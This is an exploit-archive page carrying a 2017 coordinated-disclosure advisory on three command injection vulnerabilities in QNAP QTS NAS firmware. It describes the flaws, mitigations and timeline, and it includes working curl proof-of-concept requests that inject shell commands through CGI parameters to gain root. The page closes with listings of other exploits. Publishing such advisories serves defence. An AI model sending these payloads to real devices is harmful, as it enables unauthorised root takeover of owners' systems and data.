Menu

Search for hundreds of thousands of exploits

"QNAP TVS-663 QTS < 4.2.4 build 20170313 - Command Injection"

Author

Exploit author

"Harry Sintonen"

Platform

Exploit platform

cgi

Release date

Exploit published date

2017-04-07

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
QNAP QTS multiple RCE vulnerabilities
=====================================
The latest version of this advisory is available at:
https://sintonen.fi/advisories/qnap-qts-multiple-rce-vulnerabilities.txt


Overview
--------

QNAP QTS firmware contains multiple Command Injection (CWE-77)
vulnerabilities that can be exploited to gain remote command execution
on the devices.


Description
-----------

QNAP QTS web user interface CGI binaries include Command Injection
(CWE-77) vulnerabilities. An unauthenticated attacker can execute
arbitrary commands on the targeted device.


Impact
------

The attacker is able to execute arbitrary commands as administrative user
(root). The attacker has full access to all content on the targeted
device, and can read, modify or remove content at will.


Details
-------

The discovered vulnerabilities, described in more detail below, enable
multiple independent attacks described here in brief:

- Unauthenticated Remote Command Execution

  The unauthenticated attacker can perform HTTP requests that exploit
  the vulnerability to execute arbitrary commands. If the device is
  connected to the internet, the vulnerable devices can be taken over in
  an automated fashion and can then be used for further attacks.

- Authenticated Remote Command Execution

  The authenticated attacker can perform HTTP requests that exploit
  the vulnerabilities to execute arbitrary commands. This gives users
  that normally have only restricted access to the device full
  administrative (root) access to the system and access to all data
  stored on the device regardless of the specified access limitations.


Vulnerabilities
---------------

1. [CVE-2017-6361] Command Injection in authLogin.cgi `reboot_notice_msg' (CWE-77)

/cgi-bin/authLogin.cgi CGI has a command injection bug. The
following commands are executed via system():

/sbin/vjbod_util -i '%s' 1>>/dev/null 2>&1
/sbin/vdd_control "%s" %d 2>>/dev/null 2>>/dev/null

The value inserted to %s is obtained from the `reboot_notice_msg' HTTP
request GET parameter.

The reboot_notice_msg is a base64 encoded message of form:

QNAPVJBDTTTTTTTTCCCCCCCCCCCCCCCCLLLLPAYLOAD

- TTTTTTTT is the unix time stamp (last 8 digits)
- CCCCCCCCCCCCCCCC is the command to perform (Disconnect)
- LLLL is the payload length
- PAYLOAD is the payload contents (LLLL bytes)

By creating a crafted reboot_notice_msg value, arbitrary commands
can be executed. For example:

QNAPVJBD88150863      Disconnect  14`(echo;id)>&2`

$ curl -ki "https://TARGET/cgi-bin/authLogin.cgi?reboot_notice_msg=$(printf 'QNAPVJBD%08d%16s  14`(echo;id)>&2`' $(expr $(date +%s) % 100000000) Disconnect|base64|tr -d '\r\n')"
uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)
Content-type: text/xml

<?xml version="1.0" encoding="UTF-8" ?>
<QDocRoot version="1.0">
<command>Disconnect</command>
<payload>`(echo;id)>&2`</payload>
</QDocRoot>
$


2. [CVE-2017-6360] Command Injection in userConfig.cgi cloudPersonalSmtp `hash' (CWE-77)

/cgi-bin/userConfig.cgi CGI has a command injection bug. The following
command is executed via popen():

/sbin/cloud_util -r %s 2>/dev/null

The value inserted to %s is obtained from the `hash' HTTP request GET
parameter.

An authenticated user can use a specially crafted hash parameter to execute
arbitrary commands as root:

$ curl -ki 'https://TARGET/cgi-bin/userConfig.cgi?func=cloudPersonalSmtp&sid=SIDVALUE&hash=`(echo;id;uname%20-a)>%262`'
HTTP/1.1 200 OK
Date: Sun, 26 Feb 2017 22:55:48 GMT
Transfer-Encoding: chunked
Content-Type: text/plain

uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)
Linux TARGET 3.12.6 #1 SMP Mon Feb 13 01:43:01 CST 2017 x86_64 unknown
Content-type: text/html; charset="UTF-8"

Usage:
        /sbin/cloud_util -r [enc_token]
$


3. [CVE-2017-6359] Command Injection in utilRequest.cgi cancel_trash_recovery `pid' (CWE-77)

/cgi-bin/filemanager/utilRequest.cgi CGI has a command injection bug. The
following commands are executed via system():

/bin/kill -9 %s

The value inserted to %s is obtained from the `pid' HTTP request GET
parameter.

An authenticated user can use a specially crafted pid parameter to execute
arbitrary commands as root:

$ curl -k 'https://TARGET/cgi-bin/filemanager/utilRequest.cgi?func=cancel_trash_recovery&sid=SIDVALUE&pid=`id>/tmp/pwned`'
{ "version": "4.2.1", "build": "20170213", "status": 0, "success": "true" }

[~] # cat /tmp/pwned
uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)
[~] #


Vulnerable devices
------------------

The vulnerabilities were discovered from an QNAP TVS-663, firmware version
4.2.2 Build 20161214. They're also confirmed to work with version 4.2.3
Build 20170213.

CVE-2017-6361 was also confirmed on QNAP HS-251+ running QTS 4.2.2 Build
20161028.

It is believed that these vulnerabilities affect all devices running QTS.


Recommendations to vendor
-------------------------

1. Fix the command injection vulnerabilities by performing proper input
   validation (whitelisting) and/or shell metacharacter escaping, or by
   utilizing execl family of functions.


End user mitigation
-------------------

- Install the firmware update version 4.2.4 build 20170313 or later.

OR

- Restrict access to the web user interface (ports 8080 and 443).


Credits
-------

The vulnerabilities were discovered by Harry Sintonen / F-Secure Corporation.


Timeline
--------

21.01.2017  discovered vulnerabilities 2 and 3
23.02.2017  discovered vulnerability 1
23.02.2017  reported vulnerability 1 to the vendor
26.02.2017  started to write a preliminary advisory
27.02.2017  sent the preliminary advisory to vendor and CERT-FI
27.02.2017  requested CVE-IDs from MITRE
28.02.2017  received CVE-IDs from MITRE
02.03.2017  inquired status from vendor contact
02.03.2017  vendor confirmed CVE-2017-6361
04.03.2017  vendor confirmed the other two vulnerabilities
13.03.2017  vendor communicated about a upcoming release fixing the vulns
14.03.2017  vendor released QTS 4.2.4 build 20170313 fixing the vulns
15.03.2017  sent update to CERT-FI
21.03.2017  vendor released NAS-201703-21 advisory:
            https://www.qnap.com/en/support/con_show.php?cid=113
06.04.2017  public release of the advisory
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-11-19 "Gemtek WVRTM-127ACN 01.01.02.141 - Authenticated Arbitrary Command Injection" webapps cgi "Gabriele Zuddas"
2020-10-29 "Mailman 1.x > 2.1.23 - Cross Site Scripting (XSS)" webapps cgi "Valerio Alessandroni"
2020-04-23 "Zen Load Balancer 3.10.1 - Directory Traversal (Metasploit)" webapps cgi "Dhiraj Mishra"
2020-04-10 "Zen Load Balancer 3.10.1 - 'index.cgi' Directory Traversal" webapps cgi "Basim Alabdullah"
2020-03-30 "Zen Load Balancer 3.10.1 - Remote Code Execution" webapps cgi "Cody Sixteen"
2020-02-11 "CHIYU BF430 TCP IP Converter - Stored Cross-Site Scripting" webapps cgi Luca.Chiou
2019-09-09 "Rifatron Intelligent Digital Security System - 'animate.cgi' Stream Disclosure" webapps cgi LiquidWorm
2019-07-12 "Citrix SD-WAN Appliance 10.2.2 - Authentication Bypass / Remote Command Execution" webapps cgi "Chris Lyne"
2019-02-18 "Master IP CAM 01 3.3.4.2103 - Remote Command Execution" webapps cgi "Raffaele Sabato"
2019-02-11 "IPFire 2.21 - Cross-Site Scripting" webapps cgi "Ozer Goker"
Release Date Title Type Platform Author
2019-01-11 "OpenSSH SCP Client - Write Arbitrary Files" remote multiple "Harry Sintonen"
2018-05-06 "GNU wget - Cookie Injection" local linux "Harry Sintonen"
2017-04-07 "QNAP TVS-663 QTS < 4.2.4 build 20170313 - Command Injection" webapps cgi "Harry Sintonen"
2011-02-03 "VideoLAN VLC Media Player 1.1 - Subtitle 'StripTags()' Memory Corruption" dos multiple "Harry Sintonen"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.